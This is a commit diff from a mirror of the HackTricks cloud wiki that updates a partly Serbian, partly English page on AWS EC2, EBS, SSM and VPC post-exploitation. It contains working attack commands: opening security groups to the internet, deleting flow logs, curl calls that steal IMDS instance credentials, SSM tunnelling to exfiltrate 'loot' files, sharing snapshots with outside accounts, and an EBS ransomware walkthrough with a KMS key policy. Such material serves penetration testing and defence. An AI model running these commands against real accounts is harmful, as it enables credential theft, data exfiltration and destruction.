mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
# AWS - EC2, EBS, SSM & VPC Post-eksploatacija
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,8 +12,7 @@ Za više informacija pogledajte:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplira ulazni i izlazni saobraćaj za EC2 instances unutar VPC-a** bez potrebe da se bilo šta instalira na same instances. Ovaj duplikovani saobraćaj obično se šalje nečemu poput network intrusion detection system (IDS) za analizu i nadzor.\
|
||||
Napadač može to zloupotrebiti da presretne sav saobraćaj i dođe do osetljivih informacija:
|
||||
VPC traffic mirroring **duplicira dolazni i odlazni saobraćaj za EC2 instances unutar VPC-a** bez potrebe za instalacijom bilo čega na samim instancama. Ovaj duplicirani saobraćaj se obično šalje nečemu poput sistema za detekciju mrežnih upada (IDS) za analizu i nadzor. Napadač bi mogao zloupotrebiti ovo da presretne sav saobraćaj i dobije osetljive informacije iz njega:
|
||||
|
||||
Za više informacija pogledajte ovu stranicu:
|
||||
|
||||
@@ -21,9 +20,9 @@ Za više informacija pogledajte ovu stranicu:
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### Kopiranje pokrenute instance
|
||||
|
||||
Instances obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Međutim, drugi način da se proveri šta sadrži je da se **kreira AMI i pokrene nova instance (čak i u vašem sopstvenom account) iz nje**:
|
||||
Instances obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe u njih (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ipak, drugi način da proverite šta sadrže je da **kreirate AMI i pokrenete novu instancu (čak i u svom nalogu) iz nje**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +48,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots su backupi volumena**, koji obično sadrže **osetljive informacije**, zato njihova provera obično otkriva te informacije.\
|
||||
Ako nađete volumen bez snapshot-a možete: **kreirati snapshot** i izvršiti sledeće akcije ili ga jednostavno **mount-ovati u instance** unutar naloga:
|
||||
**Snapshots are backups of volumes**, koji obično sadrže **osetljive informacije**, zato njihova provera treba da otkrije te podatke.\
|
||||
Ako pronađete **volume without a snapshot** možete: **Create a snapshot** i izvršiti sledeće radnje ili jednostavno **mount it in an instance** unutar naloga:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +57,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Izvezite EC2 AMI direktno u S3 koristeći `CreateStoreImageTask` da biste dobili raw disk image bez deljenja snapshot-a. Ovo omogućava kompletnu offline forenziku ili krađu podataka, dok se networking instance ostavlja netaknut.
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Ovo omogućava potpunu offline forenziku ili krađu podataka, a da pri tom networking instance ostane neizmenjen.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +65,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Povežite io1/io2 Multi-Attach volume na drugu instance i mount-ujte ga read-only da biste izvlačili podatke u realnom vremenu bez snapshot-a. Korisno kada victim volume već ima Multi-Attach omogućen u istoj AZ.
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Korisno kada victim volume već ima Multi-Attach omogućen u istoj AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +73,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Kreirajte EC2 Instance Connect Endpoint, autorizujte ingress i injektujte ephemarne SSH ključeve za pristup privatnim instancama preko managed tunela. Omogućava brze lateralne pokrete bez otvaranja javnih portova.
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Omogućava brze lateralne pokrete bez otvaranja javnih portova.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +81,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Premestite sekundarni privatni IP victim ENI-ja na ENI pod kontrolom napadača da biste se predstavljali kao trusted hostovi koji su allowlisted po IP-u. Omogućava zaobilaženje internal ACL-ova ili SG pravila vezanih za specifične adrese.
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Omogućava zaobilaženje unutrašnjih ACL-ova ili SG pravila koja su vezana za određene adrese.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +89,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Ponovo dodelite Elastic IP sa victim instance na napadača da presretnete inbound traffic ili inicirate outbound konekcije koje izgledaju kao da dolaze sa trusted javnih IP-ova.
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +97,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Ako security group pravilo referencira customer-managed prefix list, dodavanje attacker CIDR-ova u listu tiho širi pristup kroz svako zavisno SG pravilo bez modifikovanja samog SG-a.
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +105,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Kreirajte gateway ili interface VPC endpoints da povratite outbound pristup iz izolovanih subnet-a. Korišćenje AWS-managed private links zaobilazi nedostajuće IGW/NAT kontrole za eksfiltraciju podataka.
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +113,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Napadač sa permisijom ec2:AuthorizeSecurityGroupIngress može dodati inbound pravila u security groups (na primer, dozvoliti tcp:80 sa 0.0.0.0/0), čime izlaže interne servise javnom Internetu ili drugim neautorizovanim mrežama.
|
||||
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Napadač sa privilegijama ec2:ReplaceNetworkAclEntry (ili sličnim) može izmeniti Network ACLs (NACLs) subneta da ih učini veoma permisivnim — na primer dozvoljavajući 0.0.0.0/0 na kritičnim portovima — čime se ceo opseg subneta izlaže Internetu ili neautorizovanim mrežnim segmentima. Za razliku od Security Groups, koje se primenjuju per-instance, NACLs se primenjuju na nivou subneta, pa promena restriktivnog NACL-a može imati znatno veći blast radius jer omogućava pristup mnogo više hosts.
|
||||
Napadač sa ec2:ReplaceNetworkAclEntry (ili sličnim) privilegijama može izmeniti subnet-ove Network ACLs (NACLs) kako bi ih učinio veoma permisivnim — na primer dozvoljavajući 0.0.0.0/0 na kritičnim portovima — izlažući ceo opseg subnet-a Internetu ili neautorizovanim mrežnim segmentima. Za razliku od Security Groups, koje se primenjuju po instanci, NACLs se primenjuju na nivou subnet-a, tako da promena restriktivnog NACL-a može imati mnogo veći blast radius omogućavajući pristup mnogo većem broju hostova.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +130,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Napadač sa ec2:Delete* i iam:Remove* dozvolama može obrisati kritične infrastrukturne resurse i konfiguracije — na primer key pairs, launch templates/versions, AMIs/snapshots, volumes ili attachments, security groups ili rules, ENIs/network endpoints, route tables, gateways, ili managed endpoints. Ovo može izazvati trenutni prekid usluge, gubitak podataka i gubitak forenzičkih dokaza.
|
||||
Napadač sa ec2:Delete* i iam:Remove* permisijama može obrisati kritične infrastrukturne resurse i konfiguracije — na primer key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Ovo može izazvati trenutni prekid servisa, gubitak podataka i gubitak forenzičkih dokaza.
|
||||
|
||||
Jedan primer je brisanje security group:
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Usmerite VPC Flow Logs na S3 bucket koji kontroliše napadač kako biste kontinuirano prikupljali mrežne meta-podatke (source/destination, ports) izvan naloga žrtve za dugoročno izviđanje.
|
||||
Usmerite VPC Flow Logs ka S3 bucket-u koji kontroliše napadač da kontinuirano prikuplja network metadata (source/destination, ports) izvan naloga žrtve za long-term reconnaissance.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,43 +149,81 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može da izađe, još uvek može **exfil via DNS**.
|
||||
Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može da izađe, on i dalje može **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs neće zabeležiti ovo**.
|
||||
- Nemate pristup AWS DNS logovima.
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- Nemate pristup AWS DNS logs.
|
||||
- Onemogućite ovo postavljanjem "enableDnsSupport" na false pomoću:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Napadač može pozivati API endpoint-e naloga koji on kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrate data u Cloudtrail logovima.
|
||||
Napadač može pozvati API endpoint-e naloga kojim on upravlja. Cloudtrail će zabeležiti te pozive i napadač će moći da vidi exfiltrate data u Cloudtrail logovima.
|
||||
|
||||
### Otvaranje security group
|
||||
### Open Security Group
|
||||
|
||||
Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova na sledeći način:
|
||||
Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova ovako:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Moguće je pokrenuti EC2 instancu i registrovati je da se koristi za pokretanje ECS instanci, a zatim ukrasti podatke ECS instanci.
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Ukloni VPC flow logs
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
Kompromitovanje bilo kog ECS taska koji radi na EC2 container instance obično je dovoljno da pivotuješ u ulogu hosta i u IAM role povezane sa svim ostalim taskovima na tom nodu. Pošto ne postoji **task isolation for ECS-on-EC2**, svaki task po defaultu može da upita EC2 Instance Metadata Service (IMDS), ukrade container instance profile, i zatim koristi isti WebSocket protokol koji ECS agent koristi prema control plane-u (primitiv **ECScape**) da zatraži kredencijale za svaki task koji je trenutno zakazan na tom hostu. Latacora je dokumentovala ovaj tok rada u njihovom [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), koji sledeći ofanzivni rezime kondenzuje.
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Podesavanje IMDSv2 sa `HttpTokens=required` i `HttpPutResponseHopLimit=1` blokira samo taskove koji se nalaze iza dodatnog hopa (Docker bridge). Ostali network modovi ostaju u okviru jednog hop-a od Nitro controllera i i dalje dobijaju odgovore:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Svaki task dobija svoj ENI koji je još uvek jedan hop udaljen od IMDS, pa tokeni i odgovori metapodataka uspešno stignu. |
|
||||
| `host` | ✅ | Taskovi dele host namespace, tako da vide istu udaljenost u hop-ovima kao EC2 instanca. |
|
||||
| `bridge` | ❌ | Odgovori umiru na Docker bridge jer taj dodatni hop iscrpljuje hop limit. |
|
||||
|
||||
Zato, **nikada ne pretpostavljaj da hop limit 1 štiti awsvpc ili host-mode workload-ove**—uvek testiraj iznutra, iz svojih kontejnera.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs, ili podešavanja rutiranja ne mogu blokirati link-local adresu 169.254.169.254 jer je Nitro ubacuje na hostu. Proveri `/etc/ecs/ecs.config` za `ECS_AWSVPC_BLOCK_IMDS=true`. Ako je flag odsutan (podrazumevano) možeš curl-ovati IMDS direktno iz taska. Ako je postavljen, pivotuj u host/agent namespace da ga isključiš ili pokreni tooling izvan awsvpc.
|
||||
|
||||
- **bridge mode:** Kada zahtevi za metapodatke zakažu iako je hop limit 1 konfigurisan, odbrambeni tim verovatno ubacio `DOCKER-USER` drop pravilo kao npr. `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listanje `iptables -S DOCKER-USER` otkriva pravilo, a root pristup ti omogućava da obrišeš ili promeniš redosled pravila pre nego što upitaš IMDS.
|
||||
|
||||
- **host mode:** Proveri agent konfiguraciju za `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Ta opcija potpuno uklanja task IAM role, tako da moraš ili ponovo omogućiti tu opciju, preći na awsvpc taskove, ili preuzeti kredencijale kroz neki drugi proces na hostu. Kada je vrednost `true` (podrazumevano), svaki host-mode proces—uključujući kompromitovane kontejnere—može da pristupi IMDS osim ako nisu primenjeni prilagođeni eBPF/cgroup filteri koji ciljaju `169.254.169.254`; traži tc/eBPF programe ili iptables pravila koja referenciraju tu adresu.
|
||||
|
||||
Latacora čak objavila [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) koji možeš pokrenuti u ciljnom accountu da izbrojiš koji network modovi i dalje izlažu metapodatke i prema tome isplaniraš sledeći korak.
|
||||
|
||||
Kada razumeš koji modovi izlažu IMDS, možeš isplanirati svoj post-exploitation put: ciljaj bilo koji ECS task, zatraži instance profile, predstavi se kao agent i preuzmi sve ostale task role za lateralno kretanje ili persistance unutar klastera.
|
||||
|
||||
### Uklanjanje VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Required permissions:
|
||||
Potrebne dozvole:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za pivot sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs.
|
||||
Jedan od scenarija gde je ovo korisno je pivoting sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster.
|
||||
Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja, što se može zloupotrebiti za pivot sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs.
|
||||
Jedan od scenarija u kojima je ovo korisno je pivoting sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster.
|
||||
|
||||
> Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -195,54 +232,54 @@ Jedan od scenarija gde je ovo korisno je pivoting sa [Bastion Host](https://www.
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Preuzmite AWS privremene kredencijale Bastion EC2 pomoću skripte [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Prebacite kredencijale na svoj računar u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]`
|
||||
3. Nabavite privremene AWS credentials za Bastion EC2 koristeći skriptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Prebacite credentials na svoj računar u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]`
|
||||
5. Prijavite se na EKS kao Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Ažurirajte polje `server` u fajlu `$HOME/.kube/config` da pokazuje na `https://localhost`
|
||||
6. Ažurirajte polje `server` u fajlu `$HOME/.kube/config` da ukazuje na `https://localhost`
|
||||
7. Kreirajte SSM tunel na sledeći način:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Saobraćaj iz `kubectl` alata sada se prosleđuje kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svoje mašine pokretanjem:
|
||||
8. Saobraćaj iz alata `kubectl` je sada preusmeren kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svoje mašine pokretanjem:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Imajte na umu da će SSL connections propasti osim ako ne postavite zastavicu `--insecure-skip-tls-verify ` (ili njen ekvivalent u K8s audit alatima). Pošto je saobraćaj tunelovan kroz sigurni AWS SSM tunel, zaštićeni ste od bilo kakvih MitM napada.
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
|
||||
Na kraju, ova tehnika nije specifična samo za napadanje privatnih EKS klastera. Možete postaviti proizvoljne domene i portove da pivotirate na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju.
|
||||
Na kraju, ova tehnika nije specifična samo za napade na privatne EKS klastere. Možete podesiti proizvoljne domene i portove da pivotujete na bilo koji drugi AWS servis ili prilagođenu aplikaciju.
|
||||
|
||||
---
|
||||
|
||||
#### Brzo lokalno ↔ udaljeno prosleđivanje porta (AWS-StartPortForwardingSession)
|
||||
#### Brzo lokalno ↔️ udaljeno prosleđivanje portova (AWS-StartPortForwardingSession)
|
||||
|
||||
Ako treba da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar remote host):
|
||||
Ako treba da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
|
||||
Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i izabranog porta (`portNumber`) na instanci **bez otvaranja bilo kojih dolaznih Security-Group pravila**.
|
||||
|
||||
Uobičajeni slučajevi upotrebe:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Na instanci pokrenite kratak HTTP server koji pokazuje na direktorijum koji želite da exfiltrate:
|
||||
1. Na instanci pokrenite brz HTTP server koji pokazuje na direktorijum koji želite da izvučete:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Sa vaše radne stanice preuzmite fajlove kroz SSM tunel:
|
||||
2. Sa vaše radne stanice preuzmite fajlove preko SSM tunela:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Pristupanje internim web aplikacijama (npr. Nessus)**
|
||||
* **Pristup unutrašnjim web aplikacijama (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,7 +287,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Savet: Kompresujte i enkriptujte dokaze pre eksfiltracije kako CloudTrail ne bi zabeležio sadržaj u čistom tekstu:
|
||||
Savet: Compress and encrypt dokaze pre exfiltrating-a kako CloudTrail ne bi beležio clear-text content:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -259,19 +296,19 @@ Savet: Kompresujte i enkriptujte dokaze pre eksfiltracije kako CloudTrail ne bi
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Pretraga osetljivih informacija u javnim i privatnim AMI-ima
|
||||
### Pretraživanje osetljivih informacija u javnim i privatnim AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat namenjen da **pretražuje osetljive informacije u javnim ili privatnim Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljanih AMI-ja, montiranja njihovih volumena i skeniranja radi pronalaženja potencijalnih tajni ili osetljivih podataka.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **pretraživanje osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljnih AMIs, montiranja njihovih volumena i skeniranja radi pronalaska potencijalnih tajni ili osetljivih podataka.
|
||||
|
||||
### Deljenje EBS Snapshot-a
|
||||
### Deljenje EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Proof of concept sličan Ransomware demonstraciji prikazanoj u S3 post-exploitation notes. KMS bi trebalo preimenovati u RMS (Ransomware Management Service) s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa.
|
||||
Proof of concept sličan Ransomware demonstraciji iz S3 post-exploitation beleški. KMS bi trebalo preimenovati u RMS (Ransomware Management Service), s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa.
|
||||
|
||||
Prvo, iz 'attacker' AWS account-a, kreirajte customer managed key u KMS. Za ovaj primer pustićemo da AWS upravlja key data-om, ali u realističnom scenariju malicious actor bi zadržao key data izvan AWS'ove kontrole. Promenite key policy da dozvoli bilo kom AWS account Principal-u da koristi key. Za ovu key policy, ime account-a je bilo 'AttackSim', a policy rule koja dozvoljava potpuni pristup zove se 'Outside Encryption'.
|
||||
Prvo, iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj primer, pustićemo AWS da upravlja key podacima za nas, ali u realističnoј situaciji malicious actor bi zadržao key podatke van kontrole AWS-a. Promenite key policy tako da dozvoljava bilo kom AWS account Principal da koristi ključ. Za ovu key policy, ime naloga je bilo 'AttackSim', a pravilo politike koje dozvoljava potpuni pristup zove se 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +400,7 @@ Prvo, iz 'attacker' AWS account-a, kreirajte customer managed key u KMS. Za ovaj
|
||||
]
|
||||
}
|
||||
```
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
Pravilo key policy mora imati sledeće omogućeno da bi se moglo koristiti za enkripciju EBS volumena:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +408,21 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
Sada, sa javno dostupnim ključem za korišćenje. Možemo iskoristiti 'victim' nalog koji ima pokrenute neke EC2 instance sa priključenim nekriptovanim EBS volumima. EBS volumeni tog 'victim' naloga su meta naše enkripcije; ovaj napad se izvodi pod pretpostavkom kompromitovanja AWS naloga sa visokim privilegijama.
|
||||
|
||||
 
|
||||
|
||||
Slično primeru S3 ransomware-a. Ovaj napad će napraviti kopije pridruženih EBS volumena koristeći snapshots, upotrebiti javno dostupan ključ iz 'attacker' account-a da enkriptuje nove EBS volumene, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, i na kraju obrisati snapshots koji su korišćeni za kreiranje novokreiranih enkriptovanih EBS volumena. 
|
||||
Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije prikačenih EBS volumena koristeći snapshots, koristiti javno dostupan ključ iz 'attacker' naloga da enkriptuje nove EBS volumene, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, i na kraju obrisati snapshots koji su korišćeni za kreiranje novih enkriptovanih EBS volumena. 
|
||||
|
||||
This results in only encrypted EBS volumes left available in the account.
|
||||
Rezultat je da u nalogu ostanu samo enkriptovani EBS volumeni.
|
||||
|
||||

|
||||
|
||||
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
|
||||
Takođe vredi napomenuti da je skripta zaustavila EC2 instance kako bi odvojila i obrisala originalne EBS volumene. Originalni nekriptovani volumeni su sada nestali.
|
||||
|
||||

|
||||
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
Zatim se vratite na key policy u 'attacker' nalogu i uklonite pravilo politike 'Outside Encryption' iz key policy-ja.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +493,15 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside
|
||||
]
|
||||
}
|
||||
```
|
||||
